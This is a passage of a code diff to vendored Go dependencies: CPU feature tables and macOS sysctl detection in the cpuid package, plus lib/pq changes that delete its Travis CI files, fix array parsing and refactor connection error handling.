     74 + _ = x[INT_WBINVD-64]
     75 + _ = x[INVLPGB-65]
     76 + _ = x[LAHF-66]
     77 + _ = x[LAM-67]
     78 + _ = x[LBRVIRT-68]
     79 + _ = x[LZCNT-69]
     80 + _ = x[MCAOVERFLOW-70]
     81 + _ = x[MCOMMIT-71]
     82 + _ = x[MMX-72]
     83 + _ = x[MMXEXT-73]
     84 + _ = x[MOVBE-74]
     85 + _ = x[MOVDIR64B-75]
     86 + _ = x[MOVDIRI-76]
     87 + _ = x[MOVSB_ZL-77]
     88 + _ = x[MPX-78]
     89 + _ = x[MSRIRC-79]
     90 + _ = x[MSR_PAGEFLUSH-80]
     91 + _ = x[NRIPS-81]
     92 + _ = x[NX-82]
     93 + _ = x[OSXSAVE-83]
     94 + _ = x[PCONFIG-84]
     95 + _ = x[POPCNT-85]
     96 + _ = x[RDPRU-86]
     97 + _ = x[RDRAND-87]
     98 + _ = x[RDSEED-88]
     99 + _ = x[RDTSCP-89]
     100 + _ = x[RTM-90]
     101 + _ = x[RTM_ALWAYS_ABORT-91]
     102 + _ = x[SCE-92]
     103 + _ = x[SERIALIZE-93]
     104 + _ = x[SEV-94]
     105 + _ = x[SEV_64BIT-95]
     106 + _ = x[SEV_ALTERNATIVE-96]
     107 + _ = x[SEV_DEBUGSWAP-97]
     108 + _ = x[SEV_ES-98]
     109 + _ = x[SEV_RESTRICTED-99]
     110 + _ = x[SEV_SNP-100]
     111 + _ = x[SGX-101]
     112 + _ = x[SGXLC-102]
     113 + _ = x[SHA-103]
     114 + _ = x[SME-104]
     115 + _ = x[SME_COHERENT-105]
     116 + _ = x[SSE-106]
     117 + _ = x[SSE2-107]
     118 + _ = x[SSE3-108]
     119 + _ = x[SSE4-109]
     120 + _ = x[SSE42-110]
     121 + _ = x[SSE4A-111]
     122 + _ = x[SSSE3-112]
     123 + _ = x[STIBP-113]
     124 + _ = x[STOSB_SHORT-114]
     125 + _ = x[SUCCOR-115]
     126 + _ = x[SVM-116]
     127 + _ = x[SVMDA-117]
     128 + _ = x[SVMFBASID-118]
     129 + _ = x[SVML-119]
     130 + _ = x[SVMNP-120]
     131 + _ = x[SVMPF-121]
     132 + _ = x[SVMPFT-122]
     133 + _ = x[TBM-123]
     134 + _ = x[TME-124]
     135 + _ = x[TSCRATEMSR-125]
     136 + _ = x[TSXLDTRK-126]
     137 + _ = x[VAES-127]
     138 + _ = x[VMCBCLEAN-128]
     139 + _ = x[VMPL-129]
     140 + _ = x[VMSA_REGPROT-130]
     141 + _ = x[VMX-131]
     142 + _ = x[VPCLMULQDQ-132]
     143 + _ = x[VTE-133]
     144 + _ = x[WAITPKG-134]
     145 + _ = x[WBNOINVD-135]
     146 + _ = x[X87-136]
     147 + _ = x[XGETBV1-137]
     148 + _ = x[XOP-138]
     149 + _ = x[XSAVE-139]
     150 + _ = x[XSAVEC-140]
     151 + _ = x[XSAVEOPT-141]
     152 + _ = x[XSAVES-142]
     153 + _ = x[AESARM-143]
     154 + _ = x[ARMCPUID-144]
     155 + _ = x[ASIMD-145]
     156 + _ = x[ASIMDDP-146]
     157 + _ = x[ASIMDHP-147]
     158 + _ = x[ASIMDRDM-148]
     159 + _ = x[ATOMICS-149]
     160 + _ = x[CRC32-150]
     161 + _ = x[DCPOP-151]
     162 + _ = x[EVTSTRM-152]
     163 + _ = x[FCMA-153]
     164 + _ = x[FP-154]
     165 + _ = x[FPHP-155]
     166 + _ = x[GPA-156]
     167 + _ = x[JSCVT-157]
     168 + _ = x[LRCPC-158]
     169 + _ = x[PMULL-159]
     170 + _ = x[SHA1-160]
     171 + _ = x[SHA2-161]
     172 + _ = x[SHA3-162]
     173 + _ = x[SHA512-163]
     174 + _ = x[SM3-164]
     175 + _ = x[SM4-165]
     176 + _ = x[SVE-166]
     177 + _ = x[lastID-167]
    141 178   _ = x[firstID-0]
    142 179  }
    143 180   
    144  -const _FeatureID_name = "firstIDADXAESNIAMD3DNOWAMD3DNOWEXTAMXBF16AMXINT8AMXTILEAVXAVX2AVX512BF16AVX512BITALGAVX512BWAVX512CDAVX512DQAVX512ERAVX512FAVX512FP16AVX512IFMAAVX512PFAVX512VBMIAVX512VBMI2AVX512VLAVX512VNNIAVX512VP2INTERSECTAVX512VPOPCNTDQAVXSLOWBMI1BMI2CETIBTCETSSCLDEMOTECLMULCLZEROCMOVCMPXCHG8CPBOOSTCX16ENQCMDERMSF16CFMA3FMA4FXSRFXSROPTGFNIHLEHTTHWAHYPERVISORIBPBIBSIBSBRNTRGTIBSFETCHSAMIBSFFVIBSOPCNTIBSOPCNTEXTIBSOPSAMIBSRDWROPCNTIBSRIPINVALIDCHKINT_WBINVDINVLPGBLAHFLZCNTMCAOVERFLOWMCOMMITMMXMMXEXTMOVBEMOVDIR64BMOVDIRIMPXMSRIRCNXOSXSAVEPOPCNTRDPRURDRANDRDSEEDRDTSCPRTMRTM_ALWAYS_ABORTSCESERIALIZESGXSGXLCSHASSESSE2SSE3SSE4SSE42SSE4ASSSE3STIBPSUCCORTBMTSXLDTRKVAESVMXVPCLMULQDQWAITPKGWBNOINVDX87XOPXSAVEAESARMARMCPUIDASIMDASIMDDPASIMDHPASIMDRDMATOMICSCRC32DCPOPEVTSTRMFCMAFPFPHPGPAJSCVTLRCPCPMULLSHA1SHA2SHA3SHA512SM3SM4SVElastID"
     181 +const _FeatureID_name = "firstIDADXAESNIAMD3DNOWAMD3DNOWEXTAMXBF16AMXINT8AMXTILEAVXAVX2AVX512BF16AVX512BITALGAVX512BWAVX512CDAVX512DQAVX512ERAVX512FAVX512FP16AVX512IFMAAVX512PFAVX512VBMIAVX512VBMI2AVX512VLAVX512VNNIAVX512VP2INTERSECTAVX512VPOPCNTDQAVXSLOWAVXVNNIBMI1BMI2CETIBTCETSSCLDEMOTECLMULCLZEROCMOVCMPSB_SCADBS_SHORTCMPXCHG8CPBOOSTCX16ENQCMDERMSF16CFMA3FMA4FXSRFXSROPTGFNIHLEHRESETHTTHWAHYPERVISORIBPBIBSIBSBRNTRGTIBSFETCHSAMIBSFFVIBSOPCNTIBSOPCNTEXTIBSOPSAMIBSRDWROPCNTIBSRIPINVALIDCHKIBS_PREVENTHOSTINT_WBINVDINVLPGBLAHFLAMLBRVIRTLZCNTMCAOVERFLOWMCOMMITMMXMMXEXTMOVBEMOVDIR64BMOVDIRIMOVSB_ZLMPXMSRIRCMSR_PAGEFLUSHNRIPSNXOSXSAVEPCONFIGPOPCNTRDPRURDRANDRDSEEDRDTSCPRTMRTM_ALWAYS_ABORTSCESERIALIZESEVSEV_64BITSEV_ALTERNATIVESEV_DEBUGSWAPSEV_ESSEV_RESTRICTEDSEV_SNPSGXSGXLCSHASMESME_COHERENTSSESSE2SSE3SSE4SSE42SSE4ASSSE3STIBPSTOSB_SHORTSUCCORSVMSVMDASVMFBASIDSVMLSVMNPSVMPFSVMPFTTBMTMETSCRATEMSRTSXLDTRKVAESVMCBCLEANVMPLVMSA_REGPROTVMXVPCLMULQDQVTEWAITPKGWBNOINVDX87XGETBV1XOPXSAVEXSAVECXSAVEOPTXSAVESAESARMARMCPUIDASIMDASIMDDPASIMDHPASIMDRDMATOMICSCRC32DCPOPEVTSTRMFCMAFPFPHPGPAJSCVTLRCPCPMULLSHA1SHA2SHA3SHA512SM3SM4SVElastID"
    145 182   
    146  -var _FeatureID_index = [...]uint16{0, 7, 10, 15, 23, 34, 41, 48, 55, 58, 62, 72, 84, 92, 100, 108, 116, 123, 133, 143, 151, 161, 172, 180, 190, 208, 223, 230, 234, 238, 244, 249, 257, 262, 268, 272, 280, 287, 291, 297, 301, 305, 309, 313, 317, 324, 328, 331, 334, 337, 347, 351, 354, 364, 375, 381, 389, 400, 408, 420, 436, 446, 453, 457, 462, 473, 480, 483, 489, 494, 503, 510, 513, 519, 521, 528, 534, 539, 545, 551, 557, 560, 576, 579, 588, 591, 596, 599, 602, 606, 610, 614, 619, 624, 629, 634, 640, 643, 651, 655, 658, 668, 675, 683, 686, 689, 694, 700, 708, 713, 720, 727, 735, 742, 747, 752, 759, 763, 765, 769, 772, 777, 782, 787, 791, 795, 799, 805, 808, 811, 814, 820}
     183 +var _FeatureID_index = [...]uint16{0, 7, 10, 15, 23, 34, 41, 48, 55, 58, 62, 72, 84, 92, 100, 108, 116, 123, 133, 143, 151, 161, 172, 180, 190, 208, 223, 230, 237, 241, 245, 251, 256, 264, 269, 275, 279, 297, 305, 312, 316, 322, 326, 330, 334, 338, 342, 349, 353, 356, 362, 365, 368, 378, 382, 385, 395, 406, 412, 420, 431, 439, 451, 467, 482, 492, 499, 503, 506, 513, 518, 529, 536, 539, 545, 550, 559, 566, 574, 577, 583, 596, 601, 603, 610, 617, 623, 628, 634, 640, 646, 649, 665, 668, 677, 680, 689, 704, 717, 723, 737, 744, 747, 752, 755, 758, 770, 773, 777, 781, 785, 790, 795, 800, 805, 816, 822, 825, 830, 839, 843, 848, 853, 859, 862, 865, 875, 883, 887, 896, 900, 912, 915, 925, 928, 935, 943, 946, 953, 956, 961, 967, 975, 981, 987, 995, 1000, 1007, 1014, 1022, 1029, 1034, 1039, 1046, 1050, 1052, 1056, 1059, 1064, 1069, 1074, 1078, 1082, 1086, 1092, 1095, 1098, 1101, 1107}
    147 184   
    148 185  func (i FeatureID) String() string {
    149 186   if i < 0 || i >= FeatureID(len(_FeatureID_index)-1) {
    skipped 48 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/klauspost/cpuid/v2/os_darwin_arm64.go
    skipped 1 lines
    2 2   
    3 3  package cpuid
    4 4   
    5  -import "runtime"
     5 +import (
     6 + "runtime"
     7 + "strings"
     8 + 
     9 + "golang.org/x/sys/unix"
     10 +)
    6 11   
    7 12  func detectOS(c *CPUInfo) bool {
     13 + if runtime.GOOS != "ios" {
     14 + tryToFillCPUInfoFomSysctl(c)
     15 + }
    8 16   // There are no hw.optional sysctl values for the below features on Mac OS 11.0
    9 17   // to detect their supported state dynamically. Assume the CPU features that
    10 18   // Apple Silicon M1 supports to be available as a minimal set of features
    11 19   // to all Go programs running on darwin/arm64.
    12 20   // TODO: Add more if we know them.
    13 21   c.featureSet.setIf(runtime.GOOS != "ios", AESARM, PMULL, SHA1, SHA2)
    14  - c.PhysicalCores = runtime.NumCPU()
    15  - // For now assuming 1 thread per core...
    16  - c.ThreadsPerCore = 1
    17  - c.LogicalCores = c.PhysicalCores
     22 + 
    18 23   return true
    19 24  }
    20 25   
     26 +func sysctlGetBool(name string) bool {
     27 + value, err := unix.SysctlUint32(name)
     28 + if err != nil {
     29 + return false
     30 + }
     31 + return value != 0
     32 +}
     33 + 
     34 +func sysctlGetString(name string) string {
     35 + value, err := unix.Sysctl(name)
     36 + if err != nil {
     37 + return ""
     38 + }
     39 + return value
     40 +}
     41 + 
     42 +func sysctlGetInt(unknown int, names ...string) int {
     43 + for _, name := range names {
     44 + value, err := unix.SysctlUint32(name)
     45 + if err != nil {
     46 + continue
     47 + }
     48 + if value != 0 {
     49 + return int(value)
     50 + }
     51 + }
     52 + return unknown
     53 +}
     54 + 
     55 +func sysctlGetInt64(unknown int, names ...string) int {
     56 + for _, name := range names {
     57 + value64, err := unix.SysctlUint64(name)
     58 + if err != nil {
     59 + continue
     60 + }
     61 + if int(value64) != unknown {
     62 + return int(value64)
     63 + }
     64 + }
     65 + return unknown
     66 +}
     67 + 
     68 +func setFeature(c *CPUInfo, name string, feature FeatureID) {
     69 + c.featureSet.setIf(sysctlGetBool(name), feature)
     70 +}
     71 +func tryToFillCPUInfoFomSysctl(c *CPUInfo) {
     72 + c.BrandName = sysctlGetString("machdep.cpu.brand_string")
     73 + 
     74 + if len(c.BrandName) != 0 {
     75 + c.VendorString = strings.Fields(c.BrandName)[0]
     76 + }
     77 + 
     78 + c.PhysicalCores = sysctlGetInt(runtime.NumCPU(), "hw.physicalcpu")
     79 + c.ThreadsPerCore = sysctlGetInt(1, "machdep.cpu.thread_count", "kern.num_threads") /
     80 + sysctlGetInt(1, "hw.physicalcpu")
     81 + c.LogicalCores = sysctlGetInt(runtime.NumCPU(), "machdep.cpu.core_count")
     82 + c.Family = sysctlGetInt(0, "machdep.cpu.family", "hw.cpufamily")
     83 + c.Model = sysctlGetInt(0, "machdep.cpu.model")
     84 + c.CacheLine = sysctlGetInt64(0, "hw.cachelinesize")
     85 + c.Cache.L1I = sysctlGetInt64(-1, "hw.l1icachesize")
     86 + c.Cache.L1D = sysctlGetInt64(-1, "hw.l1icachesize")
     87 + c.Cache.L2 = sysctlGetInt64(-1, "hw.l2cachesize")
     88 + c.Cache.L3 = sysctlGetInt64(-1, "hw.l3cachesize")
     89 + 
     90 + // from https://developer.arm.com/downloads/-/exploration-tools/feature-names-for-a-profile
     91 + setFeature(c, "hw.optional.arm.FEAT_AES", AESARM)
     92 + setFeature(c, "hw.optional.AdvSIMD", ASIMD)
     93 + setFeature(c, "hw.optional.arm.FEAT_DotProd", ASIMDDP)
     94 + setFeature(c, "hw.optional.arm.FEAT_RDM", ASIMDRDM)
     95 + setFeature(c, "hw.optional.FEAT_CRC32", CRC32)
     96 + setFeature(c, "hw.optional.arm.FEAT_DPB", DCPOP)
     97 + // setFeature(c, "", EVTSTRM)
     98 + setFeature(c, "hw.optional.arm.FEAT_FCMA", FCMA)
     99 + setFeature(c, "hw.optional.arm.FEAT_FP", FP)
     100 + setFeature(c, "hw.optional.arm.FEAT_FP16", FPHP)
     101 + setFeature(c, "hw.optional.arm.FEAT_PAuth", GPA)
     102 + setFeature(c, "hw.optional.arm.FEAT_JSCVT", JSCVT)
     103 + setFeature(c, "hw.optional.arm.FEAT_LRCPC", LRCPC)
     104 + setFeature(c, "hw.optional.arm.FEAT_PMULL", PMULL)
     105 + setFeature(c, "hw.optional.arm.FEAT_SHA1", SHA1)
     106 + setFeature(c, "hw.optional.arm.FEAT_SHA256", SHA2)
     107 + setFeature(c, "hw.optional.arm.FEAT_SHA3", SHA3)
     108 + setFeature(c, "hw.optional.arm.FEAT_SHA512", SHA512)
     109 + // setFeature(c, "", SM3)
     110 + // setFeature(c, "", SM4)
     111 + setFeature(c, "hw.optional.arm.FEAT_SVE", SVE)
     112 + 
     113 + // from empirical observation
     114 + setFeature(c, "hw.optional.AdvSIMD_HPFPCvt", ASIMDHP)
     115 + setFeature(c, "hw.optional.armv8_1_atomics", ATOMICS)
     116 + setFeature(c, "hw.optional.floatingpoint", FP)
     117 + setFeature(c, "hw.optional.armv8_2_sha3", SHA3)
     118 + setFeature(c, "hw.optional.armv8_2_sha512", SHA512)
     119 + setFeature(c, "hw.optional.armv8_3_compnum", FCMA)
     120 + setFeature(c, "hw.optional.armv8_crc32", CRC32)
     121 +}
     122 + 
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/lib/pq/.travis.sh
    1  -#!/bin/bash
    2  - 
    3  -set -eu
    4  - 
    5  -client_configure() {
    6  - sudo chmod 600 $PQSSLCERTTEST_PATH/postgresql.key
    7  -}
    8  - 
    9  -pgdg_repository() {
    10  - local sourcelist='sources.list.d/postgresql.list'
    11  - 
    12  - curl -sS 'https://www.postgresql.org/media/keys/ACCC4CF8.asc' | sudo apt-key add -
    13  - echo deb http://apt.postgresql.org/pub/repos/apt/ $(lsb_release -cs)-pgdg main $PGVERSION | sudo tee "/etc/apt/$sourcelist"
    14  - sudo apt-get -o Dir::Etc::sourcelist="$sourcelist" -o Dir::Etc::sourceparts='-' -o APT::Get::List-Cleanup='0' update
    15  -}
    16  - 
    17  -postgresql_configure() {
    18  - sudo tee /etc/postgresql/$PGVERSION/main/pg_hba.conf > /dev/null <<-config
    19  - local all all trust
    20  - hostnossl all pqgossltest 127.0.0.1/32 reject
    21  - hostnossl all pqgosslcert 127.0.0.1/32 reject
    22  - hostssl all pqgossltest 127.0.0.1/32 trust
    23  - hostssl all pqgosslcert 127.0.0.1/32 cert
    24  - host all all 127.0.0.1/32 trust
    25  - hostnossl all pqgossltest ::1/128 reject
    26  - hostnossl all pqgosslcert ::1/128 reject
    27  - hostssl all pqgossltest ::1/128 trust
    28  - hostssl all pqgosslcert ::1/128 cert
    29  - host all all ::1/128 trust
    30  - config
    31  - 
    32  - xargs sudo install -o postgres -g postgres -m 600 -t /var/lib/postgresql/$PGVERSION/main/ <<-certificates
    33  - certs/root.crt
    34  - certs/server.crt
    35  - certs/server.key
    36  - certificates
    37  - 
    38  - sort -VCu <<-versions ||
    39  - $PGVERSION
    40  - 9.2
    41  - versions
    42  - sudo tee -a /etc/postgresql/$PGVERSION/main/postgresql.conf > /dev/null <<-config
    43  - ssl_ca_file = 'root.crt'
    44  - ssl_cert_file = 'server.crt'
    45  - ssl_key_file = 'server.key'
    46  - config
    47  - 
    48  - echo 127.0.0.1 postgres | sudo tee -a /etc/hosts > /dev/null
    49  - 
    50  - sudo service postgresql restart
    51  -}
    52  - 
    53  -postgresql_install() {
    54  - xargs sudo apt-get -y -o Dpkg::Options::='--force-confdef' -o Dpkg::Options::='--force-confnew' install <<-packages
    55  - postgresql-$PGVERSION
    56  - postgresql-server-dev-$PGVERSION
    57  - postgresql-contrib-$PGVERSION
    58  - packages
    59  -}
    60  - 
    61  -postgresql_uninstall() {
    62  - sudo service postgresql stop
    63  - xargs sudo apt-get -y --purge remove <<-packages
    64  - libpq-dev
    65  - libpq5
    66  - postgresql
    67  - postgresql-client-common
    68  - postgresql-common
    69  - packages
    70  - sudo rm -rf /var/lib/postgresql
    71  -}
    72  - 
    73  -$1
    74  - 
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/lib/pq/.travis.yml
    1  -language: go
    2  - 
    3  -go:
    4  - - 1.14.x
    5  - - 1.15.x
    6  - - master
    7  - 
    8  -sudo: true
    9  - 
    10  -env:
    11  - global:
    12  - - PGUSER=postgres
    13  - - PQGOSSLTESTS=1
    14  - - PQSSLCERTTEST_PATH=$PWD/certs
    15  - - PGHOST=127.0.0.1
    16  - - GODEBUG=x509ignoreCN=0
    17  - matrix:
    18  - - PGVERSION=10
    19  - - PGVERSION=9.6
    20  - - PGVERSION=9.5
    21  - - PGVERSION=9.4
    22  - 
    23  -before_install:
    24  - - ./.travis.sh postgresql_uninstall
    25  - - ./.travis.sh pgdg_repository
    26  - - ./.travis.sh postgresql_install
    27  - - ./.travis.sh postgresql_configure
    28  - - ./.travis.sh client_configure
    29  - - go get golang.org/x/tools/cmd/goimports
    30  - - go get golang.org/x/lint/golint
    31  - - GO111MODULE=on go get honnef.co/go/tools/cmd/[email protected]
    32  - 
    33  -before_script:
    34  - - createdb pqgotest
    35  - - createuser -DRS pqgossltest
    36  - - createuser -DRS pqgosslcert
    37  - 
    38  -script:
    39  - - >
    40  - goimports -d -e $(find -name '*.go') | awk '{ print } END { exit NR == 0 ? 0 : 1 }'
    41  - - go vet ./...
    42  - - staticcheck -go 1.13 ./...
    43  - - golint ./...
    44  - - PQTEST_BINARY_PARAMETERS=no go test -race -v ./...
    45  - - PQTEST_BINARY_PARAMETERS=yes go test -race -v ./...
    46  - 
  • ■ ■ ■ ■ ■
    vendor/github.com/lib/pq/README.md
    skipped 26 lines
    27 27   
    28 28  ## Status
    29 29   
    30  -This package is effectively in maintenance mode and is not actively developed. Small patches and features are only rarely reviewed and merged. We recommend using [pgx](https://github.com/jackc/pgx) which is actively maintained.
     30 +This package is currently in maintenance mode, which means:
     31 +1. It generally does not accept new features.
     32 +2. It does accept bug fixes and version compatability changes provided by the community.
     33 +3. Maintainers usually do not resolve reported issues.
     34 +4. Community members are encouraged to help each other with reported issues.
     35 + 
     36 +For users that require new features or reliable resolution of reported bugs, we recommend using [pgx](https://github.com/jackc/pgx) which is under active development.
    31 37   
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/lib/pq/array.go
    skipped 21 lines
    22 22  // db.Query(`SELECT * FROM t WHERE id = ANY($1)`, pq.Array([]int{235, 401}))
    23 23  //
    24 24  // var x []sql.NullInt64
    25  -// db.QueryRow('SELECT ARRAY[235, 401]').Scan(pq.Array(&x))
     25 +// db.QueryRow(`SELECT ARRAY[235, 401]`).Scan(pq.Array(&x))
    26 26  //
    27 27  // Scanning multi-dimensional arrays is not supported. Arrays where the lower
    28 28  // bound is not one (such as `[0:0]={1}') are not supported.
    skipped 558 lines
    587 587   } else {
    588 588   b := make(Int32Array, len(elems))
    589 589   for i, v := range elems {
    590  - var x int
    591  - if x, err = strconv.Atoi(string(v)); err != nil {
     590 + x, err := strconv.ParseInt(string(v), 10, 32)
     591 + if err != nil {
    592 592   return fmt.Errorf("pq: parsing array element index %d: %v", i, err)
    593 593   }
    594 594   b[i] = int32(x)
    skipped 302 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/lib/pq/conn.go
    skipped 17 lines
    18 18   "path/filepath"
    19 19   "strconv"
    20 20   "strings"
    21  - "sync/atomic"
     21 + "sync"
    22 22   "time"
    23 23   "unicode"
    24 24   
    skipped 6 lines
    31 31   ErrNotSupported = errors.New("pq: Unsupported command")
    32 32   ErrInFailedTransaction = errors.New("pq: Could not complete operation in a failed transaction")
    33 33   ErrSSLNotSupported = errors.New("pq: SSL is not enabled on the server")
    34  - ErrSSLKeyHasWorldPermissions = errors.New("pq: Private key file has group or world access. Permissions should be u=rw (0600) or less")
    35  - ErrCouldNotDetectUsername = errors.New("pq: Could not detect default username. Please provide one explicitly")
     34 + ErrSSLKeyUnknownOwnership = errors.New("pq: Could not get owner information for private key, may not be properly protected")
     35 + ErrSSLKeyHasWorldPermissions = errors.New("pq: Private key has world access. Permissions should be u=rw,g=r (0640) if owned by root, or u=rw (0600), or less")
     36 + 
     37 + ErrCouldNotDetectUsername = errors.New("pq: Could not detect default username. Please provide one explicitly")
    36 38   
    37 39   errUnexpectedReady = errors.New("unexpected ReadyForQuery")
    38 40   errNoRowsAffected = errors.New("no RowsAffected available after the empty statement")
    skipped 101 lines
    140 142   saveMessageType byte
    141 143   saveMessageBuffer []byte
    142 144   
    143  - // If true, this connection is bad and all public-facing functions should
    144  - // return ErrBadConn.
    145  - bad *atomic.Value
     145 + // If an error is set, this connection is bad and all public-facing
     146 + // functions should return the appropriate error by calling get()
     147 + // (ErrBadConn) or getForNext().
     148 + err syncErr
    146 149   
    147 150   // If set, this connection should never use the binary format when
    148 151   // receiving query results from prepared statements. Only provided for
    skipped 17 lines
    166 169   gss GSS
    167 170  }
    168 171   
     172 +type syncErr struct {
     173 + err error
     174 + sync.Mutex
     175 +}
     176 + 
     177 +// Return ErrBadConn if connection is bad.
     178 +func (e *syncErr) get() error {
     179 + e.Lock()
     180 + defer e.Unlock()
     181 + if e.err != nil {
     182 + return driver.ErrBadConn
     183 + }
     184 + return nil
     185 +}
     186 + 
     187 +// Return the error set on the connection. Currently only used by rows.Next.
     188 +func (e *syncErr) getForNext() error {
     189 + e.Lock()
     190 + defer e.Unlock()
     191 + return e.err
     192 +}
     193 + 
     194 +// Set error, only if it isn't set yet.
     195 +func (e *syncErr) set(err error) {
     196 + if err == nil {
     197 + panic("attempt to set nil err")
     198 + }
     199 + e.Lock()
     200 + defer e.Unlock()
     201 + if e.err == nil {
     202 + e.err = err
     203 + }
     204 +}
     205 + 
    169 206  // Handle driver-side settings in parsed connection string.
    170 207  func (cn *conn) handleDriverSettings(o values) (err error) {
    171 208   boolSetting := func(key string, val *bool) error {
    skipped 115 lines
    287 324   if err != nil {
    288 325   return nil, err
    289 326   }
    290  - c.dialer = d
     327 + c.Dialer(d)
    291 328   return c.open(context.Background())
    292 329  }
    293 330   
    skipped 4 lines
    298 335   // the user.
    299 336   defer errRecoverNoErrBadConn(&err)
    300 337   
    301  - o := c.opts
     338 + // Create a new values map (copy). This makes it so maps in different
     339 + // connections do not reference the same underlying data structure, so it
     340 + // is safe for multiple connections to concurrently write to their opts.
     341 + o := make(values)
     342 + for k, v := range c.opts {
     343 + o[k] = v
     344 + }
    302 345   
    303  - bad := &atomic.Value{}
    304  - bad.Store(false)
    305 346   cn = &conn{
    306 347   opts: o,
    307 348   dialer: c.dialer,
    308  - bad: bad,
    309 349   }
    310 350   err = cn.handleDriverSettings(o)
    311 351   if err != nil {
    skipped 198 lines
    510 550   cn.txnStatus == txnStatusInFailedTransaction
    511 551  }
    512 552   
    513  -func (cn *conn) setBad() {
    514  - if cn.bad != nil {
    515  - cn.bad.Store(true)
    516  - }
    517  -}
    518  - 
    519  -func (cn *conn) getBad() bool {
    520  - if cn.bad != nil {
    521  - return cn.bad.Load().(bool)
    522  - }
    523  - return false
    524  -}
    525  - 
    526 553  func (cn *conn) checkIsInTransaction(intxn bool) {
    527 554   if cn.isInTransaction() != intxn {
    528  - cn.setBad()
     555 + cn.err.set(driver.ErrBadConn)
    529 556   errorf("unexpected transaction status %v", cn.txnStatus)
    530 557   }
    531 558  }
    skipped 3 lines
    535 562  }
    536 563   
    537 564  func (cn *conn) begin(mode string) (_ driver.Tx, err error) {
    538  - if cn.getBad() {
    539  - return nil, driver.ErrBadConn
     565 + if err := cn.err.get(); err != nil {
     566 + return nil, err
    540 567   }
    541 568   defer cn.errRecover(&err)
    542 569   
    skipped 3 lines
    546 573   return nil, err
    547 574   }
    548 575   if commandTag != "BEGIN" {
    549  - cn.setBad()
     576 + cn.err.set(driver.ErrBadConn)
    550 577   return nil, fmt.Errorf("unexpected command tag %s", commandTag)
    551 578   }
    552 579   if cn.txnStatus != txnStatusIdleInTransaction {
    553  - cn.setBad()
     580 + cn.err.set(driver.ErrBadConn)
    554 581   return nil, fmt.Errorf("unexpected transaction status %v", cn.txnStatus)
    555 582   }
    556 583   return cn, nil
    skipped 7 lines
    564 591   
    565 592  func (cn *conn) Commit() (err error) {
    566 593   defer cn.closeTxn()
    567  - if cn.getBad() {
    568  - return driver.ErrBadConn
     594 + if err := cn.err.get(); err != nil {
     595 + return err
    569 596   }
    570 597   defer cn.errRecover(&err)
    571 598   
    skipped 14 lines
    586 613   _, commandTag, err := cn.simpleExec("COMMIT")
    587 614   if err != nil {
    588 615   if cn.isInTransaction() {
    589  - cn.setBad()
     616 + cn.err.set(driver.ErrBadConn)
    590 617   }
    591 618   return err
    592 619   }
    593 620   if commandTag != "COMMIT" {
    594  - cn.setBad()
     621 + cn.err.set(driver.ErrBadConn)
    595 622   return fmt.Errorf("unexpected command tag %s", commandTag)
    596 623   }
    597 624   cn.checkIsInTransaction(false)
    skipped 2 lines
    600 627   
    601 628  func (cn *conn) Rollback() (err error) {
    602 629   defer cn.closeTxn()
    603  - if cn.getBad() {
    604  - return driver.ErrBadConn
     630 + if err := cn.err.get(); err != nil {
     631 + return err
    605 632   }
    606 633   defer cn.errRecover(&err)
    607 634   return cn.rollback()
    skipped 4 lines
    612 639   _, commandTag, err := cn.simpleExec("ROLLBACK")
    613 640   if err != nil {
    614 641   if cn.isInTransaction() {
    615  - cn.setBad()
     642 + cn.err.set(driver.ErrBadConn)
    616 643   }
    617 644   return err
    618 645   }
    skipped 33 lines
    652 679   case 'T', 'D':
    653 680   // ignore any results
    654 681   default:
    655  - cn.setBad()
     682 + cn.err.set(driver.ErrBadConn)
    656 683   errorf("unknown response for simple query: %q", t)
    657 684   }
    658 685   }
    skipped 15 lines
    674 701   // the user can close, though, to avoid connections from being
    675 702   // leaked. A "rows" with done=true works fine for that purpose.
    676 703   if err != nil {
    677  - cn.setBad()
     704 + cn.err.set(driver.ErrBadConn)
    678 705   errorf("unexpected message %q in simple query execution", t)
    679 706   }
    680 707   if res == nil {
    skipped 20 lines
    701 728   err = parseError(r)
    702 729   case 'D':
    703 730   if res == nil {
    704  - cn.setBad()
     731 + cn.err.set(driver.ErrBadConn)
    705 732   errorf("unexpected DataRow in simple query execution")
    706 733   }
    707 734   // the query didn't fail; kick off to Next
    skipped 8 lines
    716 743   // To work around a bug in QueryRow in Go 1.2 and earlier, wait
    717 744   // until the first DataRow has been received.
    718 745   default:
    719  - cn.setBad()
     746 + cn.err.set(driver.ErrBadConn)
    720 747   errorf("unknown response for simple query: %q", t)
    721 748   }
    722 749   }
    skipped 86 lines
    809 836  }
    810 837   
    811 838  func (cn *conn) Prepare(q string) (_ driver.Stmt, err error) {
    812  - if cn.getBad() {
    813  - return nil, driver.ErrBadConn
     839 + if err := cn.err.get(); err != nil {
     840 + return nil, err
    814 841   }
    815 842   defer cn.errRecover(&err)
    816 843   
    skipped 31 lines
    848 875  }
    849 876   
    850 877  func (cn *conn) query(query string, args []driver.Value) (_ *rows, err error) {
    851  - if cn.getBad() {
    852  - return nil, driver.ErrBadConn
     878 + if err := cn.err.get(); err != nil {
     879 + return nil, err
    853 880   }
    854 881   if cn.inCopy {
    855 882   return nil, errCopyInProgress
    skipped 26 lines
    882 909   
    883 910  // Implement the optional "Execer" interface for one-shot queries
    884 911  func (cn *conn) Exec(query string, args []driver.Value) (res driver.Result, err error) {
    885  - if cn.getBad() {
    886  - return nil, driver.ErrBadConn
     912 + if err := cn.err.get(); err != nil {
     913 + return nil, err
    887 914   }
    888 915   defer cn.errRecover(&err)
    889 916   
    skipped 64 lines
    954 981  // the message yourself.
    955 982  func (cn *conn) saveMessage(typ byte, buf *readBuf) {
    956 983   if cn.saveMessageType != 0 {
    957  - cn.setBad()
     984 + cn.err.set(driver.ErrBadConn)
    958 985   errorf("unexpected saveMessageType %d", cn.saveMessageType)
    959 986   }
    960 987   cn.saveMessageType = typ
    skipped 139 lines
    1100 1127   return true
    1101 1128   case "password":
    1102 1129   return true
    1103  - case "sslmode", "sslcert", "sslkey", "sslrootcert":
     1130 + case "sslmode", "sslcert", "sslkey", "sslrootcert", "sslinline":
    1104 1131   return true
    1105 1132   case "fallback_application_name":
    1106 1133   return true
    skipped 217 lines
    1324 1351   if st.closed {
    1325 1352   return nil
    1326 1353   }
    1327  - if st.cn.getBad() {
    1328  - return driver.ErrBadConn
